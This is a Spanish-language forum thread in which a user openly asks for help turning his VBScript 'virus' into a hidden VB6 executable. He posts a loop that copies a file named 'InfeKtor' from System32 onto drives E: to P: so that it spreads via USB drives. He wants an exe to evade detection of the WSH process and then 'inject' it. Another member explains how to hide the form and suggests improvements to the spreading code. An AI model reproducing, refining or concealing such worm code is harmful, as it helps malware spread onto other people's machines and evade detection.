Compilar codigo vbs en un exe en VB6

[Enemy]

Hola, me habian comentado con anterioridad lo de compilar el codigo de mi script en el VB6, pero tengo una duda...

Tengo que comenzar un proyecto exe standar o como una dll?

Porque no quiero que tenga ni formularios ni nada, solo que se ejecute, sea un procesos mas, y cumpla con lo programado; cosa que tambien tengo dudas pero no viene al tema , en todo caso mas adelante..

He intentado guardar como exe un ejemplo de reproduccion en los pen-drives o cualquier unidad, es una pavada, si quieren lo posteo. es un ejemplo mediocre pero actualmente esta batante bien.

Gracias de antemano


SALUD.O.S

[Novlucker]

Hola, me habian comentado con anterioridad lo de compilar el codigo de mi script en el VB6

Quién te ha dicho eso? 

Proyecto exe standard, debes de colocar el código vbs, en la rutina que carga el formulario, y simplemente, pones el formulario como oculto 

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()

'codigo vbs

End Sub

Saludos 

[Enemy]

 
Jaja Lo decia por vos.! jaja
Justamente, intente tambien con el sub form load y elend sub pero sin embargo sigue sin cumplir sus funciones como virus..

Probre esto y no funciona

Código [Seleccionar] Expandir

Do
i = i +1
If i = 2 Then
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile ".C:\Windows\System32\InfeKtor", "E:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "F:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "G:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "H:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "I:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "J:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "K:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "L:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "M:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "N:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "O:\"
On error resume next
Set Plaga = CreateObject("Scripting.FileSystemObject")
Plaga.CopyFile "C:\Windows\System32\InfeKtor", "P:\"
i=0
End If
Loop

es basico, actualmente esta bastante modificado..


SALUD.O.S

[Novlucker]

No veo que haya un error que impida que se ejecute bien, has probado solamente con el vbs, sin compilar 

Lo que si veo es:
1) Con crear el objeto fso una sola vez, alcanza
2) Con poner una sola vez on error resume next, alcanza
3) Hay mejores métodos de detectar las unidades extraíbles
Te recomiendo leer este excelente tuto de vbscript 
TUTORIAL vbscript<---click

Si es lo que has leído para aprender, vamos por mal camino 

Saludos

[Enemy]

.. Se que voy bien...

He inten... como exe un ejemplo de reproduccion en los pen-drives o cualquier unidad, es una pavada, si quieren lo posteo. es un ejemplo mediocre pero actualmente esta bastante bien.

Ese ejemplo estaba en mi pendrive, mi virus tambien lo tiene pero de la manera mas correcta  , El proyecto esta en mi casa.

Gracias por el manual, todo es bienvenido; pero esa es la unica forma de reproduccion que se me ocurre. que se copie asi mismo constantemente en todas las unidades.

Mas tarde o mañana te subo el codigo completo, para que me ayudes listo man?

Es que no tengo internet y estoy en la escuela; uso el internet de la escula o voy a la casa de una amiga, por eso tardo en resp.


SALUD.O.S

[Enemy]

Ha y con respecto a ejecutarlo en forma de Script (VBS) Preferiria tenerlo en EXE ya que el proceso de WSH es muy delator 

Y de ahi inyectarlo me entiendes?



SALUD.O.S